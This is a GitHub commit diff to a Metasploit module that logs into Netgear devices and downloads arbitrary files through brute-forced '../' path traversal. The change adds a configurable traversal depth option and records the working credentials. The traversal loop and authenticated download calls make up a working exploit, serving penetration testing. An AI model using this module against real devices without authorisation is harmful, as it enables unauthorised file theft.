Skip to content

Commit bc05041

Browse files
committed
Allow max traversal depth as an option, and report cred
1 parent 5710c85 commit bc05041

File tree

1 file changed

+40
-3
lines changed

1 file changed

+40
-3
lines changed

modules/auxiliary/admin/http/netgear_auth_download.rb

Lines changed: 40 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,11 @@ def initialize(info = {})
4141
OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
4242
OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),
4343
], self.class)
44+
45+
register_advanced_options(
46+
[
47+
OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])
48+
], self.class)
4449
end
4550

4651
def authenticate
@@ -146,16 +151,48 @@ def save_file(filedata)
146151
print_good("File saved in: #{path}")
147152
end
148153

154+
def report_cred(opts)
155+
service_data = {
156+
address: rhost,
157+
port: rport,
158+
service_name: 'netgear',
159+
protocol: 'tcp',
160+
workspace_id: myworkspace_id
161+
}
162+
163+
credential_data = {
164+
origin_type: :service,
165+
module_fullname: fullname,
166+
username: opts[:user],
167+
private_data: opts[:password],
168+
private_type: :password
169+
}.merge(service_data)
170+
171+
login_data = {
172+
last_attempted_at: DateTime.now,
173+
core: create_credential(credential_data),
174+
status: Metasploit::Model::Login::Status::SUCCESSFUL,
175+
proof: opts[:proof]
176+
}.merge(service_data)
177+
178+
create_credential_login(login_data)
179+
end
180+
149181

150182
def run
151183
cookie = authenticate
152184
if cookie == nil
153185
fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
154186
else
155-
print_good("#{peer} - Logged with successfully.")
187+
print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
188+
report_cred(
189+
user: datastore['USERNAME'],
190+
password: datastore['PASSWORD'],
191+
proof: cookie
192+
)
156193
end
157194

158-
if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?
195+
if datastore['FILEPATH'].blank?
159196
fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")
160197
return
161198
end
@@ -171,7 +208,7 @@ def run
171208

172209
print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
173210
count = 1
174-
while count < 15
211+
while count < datastore['DEPTH']
175212
res = download_file(("../" * count).chomp('/') + filepath, cookie)
176213
if res && res.code == 200
177214
if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)

0 commit comments

Comments
 (0)